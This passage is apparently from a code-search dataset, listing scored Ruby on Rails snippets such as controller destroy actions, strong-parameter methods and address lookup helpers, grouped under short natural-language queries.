"text": "def destroy\n @vehicle.destroy\n render_destroy_format(\"vehicle removed\")\n end",
"title": ""
},
{
"docid": "7e14f703f6d177b807597d91e0487a92",
"score": "0.6796513",
"text": "def destroy\n @new_vehicle = NewVehicle.find(params[:id])\n @new_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_new_vehicles_path) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f7703bbf7f7b39433cf63feb3ab27912",
"score": "0.6783789",
"text": "def destroy\n @pos_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to pos_vehicles_url, notice: 'Pos vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6e3bc7fd3fefa45df4254fc78cefa54f",
"score": "0.6778626",
"text": "def destroy\n @vehicle_road_tax.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_road_taxes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9cfa69f337b5a02acbf274e5c8e3adde",
"score": "0.6774324",
"text": "def destroy\n @vault = Vault.find(params[:id])\n @vault.destroy\n\n respond_to do |format|\n format.html { redirect_to vaults_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "59ef1bc418ba2d3a956b86dbec853b03",
"score": "0.6773347",
"text": "def destroy\n @name_vehicle = NameVehicle.find(params[:id])\n @name_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(name_vehicles_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9c35ae14283c96388f80ac557080896a",
"score": "0.6772453",
"text": "def destroy\n @driving_license.destroy\n respond_to do |format|\n format.html { redirect_to driving_licenses_url, notice: 'Driving license was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e96f825e110466a60bad9c406ef8924",
"score": "0.6763965",
"text": "def destroy\n @typeofvehicle.destroy\n respond_to do |format|\n format.html { redirect_to typeofvehicles_url, notice: 'Typeofvehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f63078f23c50754bfd40a9f4dd67f27f",
"score": "0.67586714",
"text": "def destroy\n @vehicle_fuel = VehicleFuel.find(params[:id])\n @vehicle_fuel.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicle_fuels_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4c750a3268c06be1bfb676b03fce51bd",
"score": "0.6758314",
"text": "def destroy\n @vehicle_route.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_routes_url, notice: 'Vehicle route was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6db2c290b32a370affc3cfadd69bb8e7",
"score": "0.67509204",
"text": "def destroy\n if @api_v1_person.destroy\n render json: 'deletado'\n end\n \n end",
"title": ""
},
{
"docid": "bb93b102a98271f81a61e131f3a10d86",
"score": "0.67493194",
"text": "def destroy\n \n @agency.destroy\n authorize @agency\n respond_to do |format|\n format.html { redirect_to agencies_url, notice: 'Agency was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bb93b102a98271f81a61e131f3a10d86",
"score": "0.67493194",
"text": "def destroy\n \n @agency.destroy\n authorize @agency\n respond_to do |format|\n format.html { redirect_to agencies_url, notice: 'Agency was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c1cde2518cb592b6add14fe05ae1b37d",
"score": "0.67425406",
"text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end",
"title": ""
},
{
"docid": "3dc79525f873ca035022e4c2330f8b83",
"score": "0.67413956",
"text": "def destroy\n @vehicle_no.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_nos_url, notice: (t 'vehicle_nos.title')+(t 'actions.removed') }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9ee2b0a9ec5fc9a8403e36b23ddf73b",
"score": "0.6736626",
"text": "def destroy\n @vehicle_make = VehicleMake.find(params[:id])\n @vehicle_make.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicle_makes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4df19d9366f8e33885dd1e2b8b14ae64",
"score": "0.67221564",
"text": "def destroy\n @vehicle_auto_auction.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_auto_auctions_url, notice: 'Vehicle auto auction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4c1c164b581dbae14285797e584e8fb7",
"score": "0.6717145",
"text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "8368c1e516eb334729cf917958673afd",
"score": "0.67139345",
"text": "def destroy\n @api_v1_victim.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_victims_url, notice: 'Victim was successfully destroyed.' }\n format.json { render json: { results: @api_v1_victim, message: \"Victim's data was successfully destroyed.\" } }\n end\n end",
"title": ""
},
{
"docid": "fc3f796ce739ee900471e7260f4526ec",
"score": "0.6702844",
"text": "def destroy\n @virtual.destroy\n respond_to do |format|\n format.html { redirect_to virtuals_url, notice: 'Virtual was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "946a880eb4f9d1d39b5b0f947ba8d9c9",
"score": "0.6702553",
"text": "def destroy\n head :unauthorized\n end",
"title": ""
},
{
"docid": "077efcdfb57ae55085b2488b007d092e",
"score": "0.6698924",
"text": "def destroy\n @vehicle_expense = VehicleExpense.find(params[:id])\n @vehicle_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicle_expenses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "81f89baeb4bb6e27770d1e22a1837f93",
"score": "0.6697107",
"text": "def destroy\n @potentialclient.destroy\n respond_to do |format|\n format.html { redirect_to potentialclients_url, notice: 'Potentialclient was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "193cfdf61dc86e1b3da71f5a947922ce",
"score": "0.6697058",
"text": "def destroy\n @drivable = Drivable.find(params[:id])\n @drivable.destroy\n\n respond_to do |format|\n format.html { redirect_to drivables_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ccf897ca129a9fe57309ec25f6fe2b82",
"score": "0.6696714",
"text": "def destroy\n @potential.destroy\n respond_to do |format|\n format.html { redirect_to potentials_url, notice: 'Potential was successfully destroyed.' }\n format.json { head :no_content }\n end\n authorize! :destroy, @potential\n end",
"title": ""
},
{
"docid": "f09fbc867ac0542899abdeb1abe90323",
"score": "0.66950846",
"text": "def destroy\n @travel_authorization.destroy\n respond_to do |format|\n format.html { redirect_to travel_authorizations_url, notice: 'Travel authorization was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f2c33ed2381073d17087f2a64e154814",
"score": "0.66921353",
"text": "def destroy\n @admin_media_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to admin_media_vehicles_url, notice: 'Media vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "955b1f810474544cdf0dd669ee0bf0c7",
"score": "0.66821307",
"text": "def destroy\n @robot = Robot.find(params[:id])\n @robot.destroy\n\n respond_to do |format|\n format.html { redirect_to robot_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "abff9ce8c1d6202396cecee2169e445e",
"score": "0.6680379",
"text": "def destroy\n @vocation.destroy\n respond_to do |format|\n format.html { redirect_to vocations_url, notice: 'Отпуск успешно удален.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3b9b1730c56fdd64a82952f7a2a02b03",
"score": "0.6675787",
"text": "def destroy\n @vehicle.destroy\n redirect_to admin_vehicles_url,\n notice: 'Vehicle was successfully destroyed.'\n end",
"title": ""
},
{
"docid": "bf976558e873b402dde40ba8e02e902b",
"score": "0.66701466",
"text": "def destroy\n @fleet = Fleet.find(params[:fleet_id])\n @vehicle = @fleet.vehicles.find(params[:vehicle_id])\n @accident = @vehicle.accidents.find(params[:id])\n @accident.destroy\n\n respond_to do |format|\n format.html { format.html { redirect_to(fleet_vehicle_accidents_path(@fleet, @vehicle), :notice => 'Accident was successfully created.') } }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "03e6e908eec06553857361f40025b24b",
"score": "0.6664633",
"text": "def destroy\n @vault.destroy\n\n respond_to do |format|\n format.html { redirect_to vaults_url, notice: 'Vault was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b905c83feee1f353202a62cd128618e7",
"score": "0.6660611",
"text": "def destroy\n @command_vehicle = CommandVehicle.find(params[:id])\n @command_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(incident_timesheet_path, :notice => 'Command Vehicle was successfully deleted.') }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8a67da3c0a80239b790a14b51d559de9",
"score": "0.66582334",
"text": "def destroy\n render json: @api_v1_client if @api_v1_client.destroy\n end",
"title": ""
},
{
"docid": "d188e496da55eeb2a8df5f6f664ed15b",
"score": "0.6649538",
"text": "def delete\n car = Car.find(car_params[:id])\n car.destroy\n render json: car\n end",
"title": ""
},
{
"docid": "b9ec212f62402c26e0f73d4d5a7d4eca",
"score": "0.6649159",
"text": "def _delete(path, isD2l = true, headers = {})\n headers[:content_type] = :json\n auth_uri = path\n auth_uri = create_authenticated_uri(path, 'DELETE') if isD2l == true\n RestClient.delete(auth_uri, headers)\nend",
"title": ""
}
] |
69ac8e533c5946c188ab6d6c98e0cc6b
|
The form params for this model.
|
[
{
"docid": "3adb48078ae25660d719055ab92ebb0e",
"score": "0.0",
"text": "def model_params\n params.require(model_identifier).permit(permitted_attrs)\n end",
"title": ""
}
] |
[
{
"docid": "a87fae0742e782ff1c71acf46f58818e",
"score": "0.85065216",
"text": "def form_params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "d9c57d4d76a4ed4b3b57a04a1d8f5942",
"score": "0.76505446",
"text": "def form_params\n FormParamsController.instance\n end",
"title": ""
},
{
"docid": "13cc55742e33ba99e3e0ea83a472d934",
"score": "0.7626849",
"text": "def get_form_parameters\n \t {}\n end",
"title": ""
},
{
"docid": "0c6e8c665610304eaa73ef7493de7628",
"score": "0.7494511",
"text": "def params\n @params\n end",
"title": ""
},
{
"docid": "daef664447d8978d08257d6fc76ee48d",
"score": "0.7474811",
"text": "def form_params\n params[:form]\n end",
"title": ""
},
{
"docid": "76e5d0aefb7c2004d277aae2f8e609d6",
"score": "0.7425509",
"text": "def params\n self[:params] || {}\n end",
"title": ""
},
{
"docid": "d8995a239ac25fade3ab830438ef54d5",
"score": "0.7398492",
"text": "def params\n @params.compact\n end",
"title": ""
},
{
"docid": "d8995a239ac25fade3ab830438ef54d5",
"score": "0.7398492",
"text": "def params\n @params.compact\n end",
"title": ""
},
{
"docid": "200ea36f0bfc7730b85370281e42a55a",
"score": "0.7394025",
"text": "def submission_params\n params\n end",
"title": ""
},
{
"docid": "c7386051d760980f91789845a634ec20",
"score": "0.7380641",
"text": "def params\n @params\n end",
"title": ""
},
{
"docid": "c7386051d760980f91789845a634ec20",
"score": "0.7380641",
"text": "def params\n @params\n end",
"title": ""
},
{
"docid": "6814e075da3dd9db6c8466e48794b89d",
"score": "0.7365054",
"text": "def params\n attributes[:params].to_h\n end",
"title": ""
},
{
"docid": "b36d9d02fed9c7379205471a42ea6153",
"score": "0.7340859",
"text": "def form_params\n params.fetch(:form, {})\n end",
"title": ""
},
{
"docid": "b36d9d02fed9c7379205471a42ea6153",
"score": "0.7340859",
"text": "def form_params\n params.fetch(:form, {})\n end",
"title": ""
},
{
"docid": "d585f3765e73e95dddc38452562e3059",
"score": "0.7335019",
"text": "def params\n @params.to_h\n end",
"title": ""
},
{
"docid": "f3258c426a99eaef9f782aae7a97e365",
"score": "0.73203254",
"text": "def params\n request.params\n end",
"title": ""
},
{
"docid": "0595bbded25ca66aa52f2711a4ff20d4",
"score": "0.73076487",
"text": "def params\n request.params\n end",
"title": ""
},
{
"docid": "5023da5c5efbabdc72823625e880c0a1",
"score": "0.72941005",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "f9e4fa2e6f273f78fe6955d4c368476d",
"score": "0.72852576",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "82e3b860ef6d997f28325776f1cc570c",
"score": "0.72656405",
"text": "def form_attributes\n []\n end",
"title": ""
},
{
"docid": "82e3b860ef6d997f28325776f1cc570c",
"score": "0.72656405",
"text": "def form_attributes\n []\n end",
"title": ""
},
{
"docid": "0b8d3cef97ea40628cf330bcddc00dd2",
"score": "0.7258689",
"text": "def params\n return @params\n end",
"title": ""
},
{
"docid": "57d8bf6555d12c4072d299ae45736d29",
"score": "0.72474134",
"text": "def params\n self.controller.params\n end",
"title": ""
},
{
"docid": "b9bd17330eef6c63fcfb4b47c37241e2",
"score": "0.7226654",
"text": "def instance_params\n info.params\n end",
"title": ""
},
{
"docid": "61dbb44d8c79ea3b9e92b496bf8354a4",
"score": "0.7172155",
"text": "def params\n @params\n end",
"title": ""
},
{
"docid": "9676a0e70f47288054378cc0b2e047ec",
"score": "0.7161787",
"text": "def params\n context.params\n end",
"title": ""
},
{
"docid": "3f3149b1259827b1c81c2d1d9e53eaab",
"score": "0.71615094",
"text": "def params\n controller.params\n end",
"title": ""
},
{
"docid": "ac6f1ba276fdb1a864f4d2719a6c2ee7",
"score": "0.714502",
"text": "def params\n @params ||= begin\n hash = HashWithIndifferentAccess.new.update(get_params)\n hash.update(post_params) if form_data?\n hash\n end\n end",
"title": ""
},
{
"docid": "4f40440c7ba7e7ad7c6638dabfab395e",
"score": "0.7134165",
"text": "def params\n request.parameters\n end",
"title": ""
},
{
"docid": "d6a0c7c69195f5f11094e641fe4c487d",
"score": "0.7124452",
"text": "def params\n @params.keys\n end",
"title": ""
},
{
"docid": "8c8a0ab84caf8a46263111f2500a385d",
"score": "0.7115049",
"text": "def params\n request.params\n end",
"title": ""
},
{
"docid": "8c8a0ab84caf8a46263111f2500a385d",
"score": "0.7115049",
"text": "def params\n request.params\n end",
"title": ""
},
{
"docid": "8c8a0ab84caf8a46263111f2500a385d",
"score": "0.7115049",
"text": "def params\n request.params\n end",
"title": ""
},
{
"docid": "8e61f70c6abc3cc4c3055da5cabc1101",
"score": "0.7106306",
"text": "def required_params\n self.class.required_params\n end",
"title": ""
},
{
"docid": "f81667cd20bd3c4a3c80e491648c6240",
"score": "0.7096474",
"text": "def params\n @options[:params] || Hash.new\n end",
"title": ""
},
{
"docid": "45b53cc8f2b421a9005bbc7c4b07cd82",
"score": "0.70804673",
"text": "def params_for_save\n @params_for_save ||= {}\n end",
"title": ""
},
{
"docid": "a3962ad4d4638f46b96dcaacaab3fabf",
"score": "0.7073684",
"text": "def params\r\n @params || {}\r\n end",
"title": ""
},
{
"docid": "7be54e0498668ea29679022ae4d0c9f1",
"score": "0.70718825",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "7be54e0498668ea29679022ae4d0c9f1",
"score": "0.70718825",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "7be54e0498668ea29679022ae4d0c9f1",
"score": "0.70718825",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "12196ad984507b4f9a2d449f357aad2b",
"score": "0.7067921",
"text": "def params\n return @request.params\n end",
"title": ""
},
{
"docid": "a1346c5b5cf8aff5872989afd0be6706",
"score": "0.705701",
"text": "def params\n @params.values\n end",
"title": ""
},
{
"docid": "295a2362d9b01d889d06ffc5ad983fb2",
"score": "0.7044306",
"text": "def params\n self.request.params\n end",
"title": ""
},
{
"docid": "e9292e0389f458c21d8d7449fed1948a",
"score": "0.6971849",
"text": "def params\n\t\t\t@params ||= request.params.symbolize_keys(deep: true)\n\t\tend",
"title": ""
},
{
"docid": "300f1e4f03f0a8826c5ba332f01dcae9",
"score": "0.694164",
"text": "def params\n read_attribute(:params) || begin \n write_attribute(:params, {} )\n read_attribute(:params)\n end\n end",
"title": ""
},
{
"docid": "eba4fa1319b2ff058b49cc80749bc36e",
"score": "0.69186056",
"text": "def data_form_params\n params.fetch(:data_form, {})\n end",
"title": ""
},
{
"docid": "5cb48d4ddd1d40d05720c4434548ac84",
"score": "0.6917948",
"text": "def attrs_for_form\n []\n end",
"title": ""
},
{
"docid": "0432e381c2e1464261a2e270ad0beb1d",
"score": "0.68901634",
"text": "def obtain\n @params\n end",
"title": ""
},
{
"docid": "8add33f3d84196bccda7a2226e470686",
"score": "0.68781936",
"text": "def permitted_params\n @permitted_params ||= declared(params, include_missing: false).to_h\n end",
"title": ""
},
{
"docid": "8add33f3d84196bccda7a2226e470686",
"score": "0.68781936",
"text": "def permitted_params\n @permitted_params ||= declared(params, include_missing: false).to_h\n end",
"title": ""
},
{
"docid": "725e389c97d779bdeca55c5fd9d23436",
"score": "0.6862221",
"text": "def params\n @params\n end",
"title": ""
},
{
"docid": "725e389c97d779bdeca55c5fd9d23436",
"score": "0.6862221",
"text": "def params\n @params\n end",
"title": ""
},
{
"docid": "accf75a47d7bab55288b889f8763b423",
"score": "0.684956",
"text": "def params\n\treturn @params\n end",
"title": ""
},
{
"docid": "37df8dd97a168dfec3b9fba3058c145f",
"score": "0.6839528",
"text": "def permitted_params\n @permitted_params ||= parameters_class.new(self, params).params\n end",
"title": ""
},
{
"docid": "51aa8875d47bde66f21c76086b885f6e",
"score": "0.68390787",
"text": "def params\n { :only => self.attrs, :methods => self.methds }\n end",
"title": ""
},
{
"docid": "aaad2f6ef7e3a0eae3dd440855ee4590",
"score": "0.6822294",
"text": "def form_attributes\n model_representer.form_attributes\n end",
"title": ""
},
{
"docid": "62804a18bb6a969739a4a9c223348f8a",
"score": "0.68186736",
"text": "def permitted_params\n params[record_name]\n end",
"title": ""
},
{
"docid": "8b2183bb74a409538718b0638a917635",
"score": "0.68149626",
"text": "def get_params()\n return self.params.keys\n end",
"title": ""
},
{
"docid": "f83cd46737713f8ec7fb9d6486bbc6d1",
"score": "0.6789197",
"text": "def attributes\n params[object_name]\n end",
"title": ""
},
{
"docid": "95ed4aeb237911471410f89e42d73599",
"score": "0.67491347",
"text": "def params\n @controller.params\n end",
"title": ""
},
{
"docid": "0f2d08efbd715dd4ae438e310e57e9f3",
"score": "0.673431",
"text": "def params\n @params.dup\n end",
"title": ""
},
{
"docid": "24881e6ca28df45802bd9a704de7a5f7",
"score": "0.6733226",
"text": "def params\n { :only => self.attrs, :methods => self.methds, :include => self.inclde }\n end",
"title": ""
},
{
"docid": "905c3e3bc83577333fbda427d8644e2d",
"score": "0.6717153",
"text": "def attributes\n self.class.attributes[params]\n end",
"title": ""
},
{
"docid": "8d3b8086039edf02e549c2ba6d418f91",
"score": "0.6705727",
"text": "def params\n @params ||= []\n end",
"title": ""
},
{
"docid": "22cec6ca2584c903fef9a85c5e466333",
"score": "0.67036927",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "22cec6ca2584c903fef9a85c5e466333",
"score": "0.67036927",
"text": "def params\n @params ||= {}\n end",
"title": ""
},
{
"docid": "ccb164447eb68f319acda419b95e81cc",
"score": "0.66964495",
"text": "def params\n data = {}\n @@build_params.each do |param|\n data.store(param, self.instance_variable_get(\"@#{param}\"))\n end\n data\n end",
"title": ""
},
{
"docid": "f64bb3b4d2169da0031f964d7b42bbc6",
"score": "0.66859406",
"text": "def attrs_for_form\n []\n end",
"title": ""
},
{
"docid": "4c33206ceea90fac05b6f67fa908ccc1",
"score": "0.6685438",
"text": "def form_attributes\n @form_attributes ||= model_class.attribute_names\n end",
"title": ""
},
{
"docid": "e91bbf290144b76e5df86b0470d003ca",
"score": "0.66607755",
"text": "def to_params\n fields = %w(label name type hint position required localized)\n\n params = self.attributes.delete_if { |k, v| !fields.include?(k.to_s) || v.blank? }.deep_symbolize_keys\n\n # we set the _id / _destroy attributes for embedded documents\n params[:_id] = self._id if self.persisted?\n params[:_destroy] = self._destroy if self._destroy\n\n case self.type\n when :text\n params[:text_formatting] = self.text_formatting\n when :belongs_to\n params[:class_name] = self.class_name\n when :has_many, :many_to_many\n %w(class_name inverse_of order_by ui_enabled).each do |name|\n params[name.to_sym] = self.send(name.to_sym)\n end\n end\n\n params\n end",
"title": ""
},
{
"docid": "f9a4d572b097d167d57f9fc70110bbaf",
"score": "0.6660563",
"text": "def form_attributes\n options[:form_attributes] || KonoUtilsBootstrapView4::EditableField.editable_fields_to_field_array(policy(model).editable_attributes)\n end",
"title": ""
},
{
"docid": "5b72f0d80cab5147dbb7fbcccec5cdcb",
"score": "0.66539186",
"text": "def model_params\n params.require(:model)\n end",
"title": ""
},
{
"docid": "172d96e896138ab6e17e79d2f09aac93",
"score": "0.66479284",
"text": "def bound_params\n hash = {}\n self.class.form_params.each{ |name, param| hash[ name ] = param.dup.bind( self ) }\n hash.freeze\n end",
"title": ""
},
{
"docid": "eafd0b264d34ab4333c732f01a58bea7",
"score": "0.66241133",
"text": "def attr_params\n params[:attr]\n end",
"title": ""
},
{
"docid": "ea8b1f91b61aa7812cd6e18b8a01bf5b",
"score": "0.6611985",
"text": "def object_parameters\n params[current_model_name.underscore]\n end",
"title": ""
},
{
"docid": "da78eac5daa6e015957dd57760741c8c",
"score": "0.6605008",
"text": "def params\n @params ||= parse_params\n end",
"title": ""
},
{
"docid": "ebd798b1dc6a4a3499d558f7acc8bce1",
"score": "0.6604926",
"text": "def params\n @request.params\n end",
"title": ""
},
{
"docid": "47bef84ed60a3a8493a53cd3344bc74b",
"score": "0.6599749",
"text": "def get_params\n return @params.keys\n end",
"title": ""
},
{
"docid": "b77689efefe9773e9cd61002684ed738",
"score": "0.65957475",
"text": "def model_params\n {\n label: params['modelName'],\n name: params['modelName'].to_underscore,\n field_definitions: params['fields'].map do |config|\n {\n label: config['label'],\n name: config['label'].to_underscore,\n field_type: config['field_type'],\n field_options: config['field_options'],\n required: config['required']\n\n }\n end\n }\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6588962",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6588962",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6588962",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6588962",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "24be4b82fe8c0831bdc585b55a6176e8",
"score": "0.6588962",
"text": "def to_h\n @params\n end",
"title": ""
},
{
"docid": "e8658722fc0513ee1a976a319c95e30e",
"score": "0.6578288",
"text": "def params\n normalize_params(\n read_attribute(:params)\n )\n end",
"title": ""
},
{
"docid": "0d1591ee4e8bbb5f42c0c4fdbc235f64",
"score": "0.65741545",
"text": "def params\n @_params ||= symbolize_keys!(@_request.params)\n end",
"title": ""
},
{
"docid": "a8a2a5a7267a69b1e49e69a60fe65927",
"score": "0.65704274",
"text": "def model_params\n model_params_name = \"#{model_key}_params\"\n respond_to?(model_params_name, true) ? send(model_params_name) : params[model_key]\n end",
"title": ""
},
{
"docid": "a8a2a5a7267a69b1e49e69a60fe65927",
"score": "0.65704274",
"text": "def model_params\n model_params_name = \"#{model_key}_params\"\n respond_to?(model_params_name, true) ? send(model_params_name) : params[model_key]\n end",
"title": ""
},
{
"docid": "213485e1a741460b6b62d0210799b5e7",
"score": "0.6567622",
"text": "def attributes\n @attributes ||= params[scope]\n end",
"title": ""
},
{
"docid": "a93bfba3e5b96a1b56f08a5ed6191330",
"score": "0.6566381",
"text": "def _form_params\n params.require(:_form).permit(:index, :edit, :show, :new)\n end",
"title": ""
},
{
"docid": "8b64b35103c5f817c590b2411958d918",
"score": "0.65601355",
"text": "def record_params\n permitted_params.with_indifferent_access\n end",
"title": ""
},
{
"docid": "cf963fb451b51d62fcc986deb020a044",
"score": "0.65364033",
"text": "def permit_params\n\t\t\t\teval(@configuration.get_params)\n\t\t\tend",
"title": ""
},
{
"docid": "563055ffac340b714179b42826757c66",
"score": "0.6535816",
"text": "def form_fields\n @attributes[:form_fields]\n end",
"title": ""
},
{
"docid": "7aae81273124930be1f90f290aeb87d0",
"score": "0.65328485",
"text": "def protected_params\n @attr_protected_params\n end",
"title": ""
},
{
"docid": "cb29463b9ef42480b492e75929ceed5c",
"score": "0.652417",
"text": "def phonemodel_params\n params.fetch(:phonemodel, {})\n end",
"title": ""
},
{
"docid": "6b48b65e26460eb891218bbd7c904d7c",
"score": "0.65185314",
"text": "def rails_params; end",
"title": ""
},
{
"docid": "2d4ce5e4b8dfe51cf7fed400e22548ad",
"score": "0.6515631",
"text": "def record_params\n return {} if params[record_name].nil?\n\n if self.use_form_this?\n params.require(record_name).permit!.merge fixed_params\n else\n params.require(record_name).permit allowed_fields\n end\n end",
"title": ""
},
{
"docid": "4ca7e14f0d7d1f3eda1ad49b4abf7f59",
"score": "0.6511184",
"text": "def entity_params\n if form_encoded?\n parse_form_encoded(read_body)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "b9cecd7b88e594ec6949403523c8df8c",
"score": "0.65019333",
"text": "def parameters\n attributes.fetch(:parameters)\n end",
"title": ""
},
{
"docid": "54bc74931ff3e08512e11dabbaa33cdd",
"score": "0.6498518",
"text": "def params\n {}\n end",
"title": ""
},
{
"docid": "54bc74931ff3e08512e11dabbaa33cdd",
"score": "0.6498518",
"text": "def params\n {}\n end",
"title": ""
}
] |
b3b986877779503dd5981453ea1797f3
|
Get all active whitelist contract addresses Author: Aniket Date: 30/07/2018 Reviewed By:
|
[
{
"docid": "8ed8ebb3cfea8b4612140c876f7d53ed",
"score": "0.82255244",
"text": "def get_whitelist_contract_addresses\n r = success_with_data({contract_addresses: ClientWhitelistDetail.get_active_contract_addressess})\n render_api_response(r)\n end",
"title": ""
}
] |
[
{
"docid": "43bf38d2d1f031287f92654e4401bb3a",
"score": "0.65147775",
"text": "def get_contract_addresses\n service_response = ClientManagement::GetContractAddresses.new(params).perform\n render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "07c26ef25b23726f857e76158428a851",
"score": "0.638395",
"text": "def addresses\n collect { |a| a.address }\n end",
"title": ""
},
{
"docid": "94e0e31ae5f3e4a92a9fb3e980681ff1",
"score": "0.6331161",
"text": "def addresses\n @client.request('getaddressesbyaccount', name)\n end",
"title": ""
},
{
"docid": "280fb74ff6be7136772dffff9447843d",
"score": "0.6291374",
"text": "def get_addresses apts\n return apts.map { |apt| apt.address }\n end",
"title": ""
},
{
"docid": "8b57ab416d89597e46ee995845db12a7",
"score": "0.6197799",
"text": "def addresses\n @addresses\n end",
"title": ""
},
{
"docid": "95cd47d4b65bab13d6f27097bc234c3d",
"score": "0.6091277",
"text": "def to_addresses\n emails = interest_addresses.concat(focus_addresses)\n if emails.empty?\n emails << 'info@unglobalcompact.org'\n end\n emails.uniq\n end",
"title": ""
},
{
"docid": "de6597930877649da3a7d1b562d9f1a3",
"score": "0.6065251",
"text": "def addresses\n query(:address)\n end",
"title": ""
},
{
"docid": "937494a14ac670834386ca88c5bd2832",
"score": "0.60380465",
"text": "def addresses\n Array(@addresses)\n end",
"title": ""
},
{
"docid": "fc23c29cab81529adbf799dbeefcc23c",
"score": "0.601215",
"text": "def included_addresses\n @included_scan_targets[:addresses]\n end",
"title": ""
},
{
"docid": "db40e3ce2be8dc12939de36dc8a1365b",
"score": "0.6010623",
"text": "def available_addresses\n @subnet.hosts(range: allocation_range, exclude: reserved_addresses)\n end",
"title": ""
},
{
"docid": "730d9e7379a8d332f0d4462e0afebe55",
"score": "0.5972115",
"text": "def addresses\n IbmCloudRest.get \"#{@uri}/addresses\"\n end",
"title": ""
},
{
"docid": "b3ba201d0266bac81c1214c976769d88",
"score": "0.59232956",
"text": "def get_addresses\n return [get_pubkey_address] if is_pubkey?\n return [get_hash160_address] if is_hash160? || is_namecoin?\n return get_multisig_addresses if is_multisig?\n []\n end",
"title": ""
},
{
"docid": "646e39dd956938356d6c9be26264667c",
"score": "0.59165615",
"text": "def from_addresses\n return @from_addresses\n end",
"title": ""
},
{
"docid": "bdc1705c32f6a34463a887782b826e33",
"score": "0.59159684",
"text": "def getaddressesbyaccount(account)\n coind.getaddressesbyaccount account\n end",
"title": ""
},
{
"docid": "8c26bed6c95e61fd7303804d72a52592",
"score": "0.59044135",
"text": "def addresses\n @addresses ||= init_addresses\n end",
"title": ""
},
{
"docid": "6b956bf4d5b04e486974c0cf71e71390",
"score": "0.5902865",
"text": "def addresses; end",
"title": ""
},
{
"docid": "be68fe3e154f9a8ca4aa3e9f39fcd2d7",
"score": "0.5894081",
"text": "def list_addresses\n Address.list(@id)\n end",
"title": ""
},
{
"docid": "dd304d9392828b7f69259b83ee9d89ec",
"score": "0.58122617",
"text": "def reserved_addresses\n IPSet.new(list_addresses.map{|a| a.address.to_host })\n end",
"title": ""
},
{
"docid": "33ab67acc7afaf3e7cdf8e3abea6aaa5",
"score": "0.5792679",
"text": "def addresses\n # prevent original array from being changed\n @addresses.dup\n end",
"title": ""
},
{
"docid": "dbf895d81d5e0eb99ebd7fa4731facef",
"score": "0.5771384",
"text": "def index\n @client_addresses = ClientAddress.all\n end",
"title": ""
},
{
"docid": "9455dbefbd7a9210f37d69796fe85ca0",
"score": "0.57164776",
"text": "def order_billing_address_lines\n order.bill_address.try(:full_address_array)\n end",
"title": ""
},
{
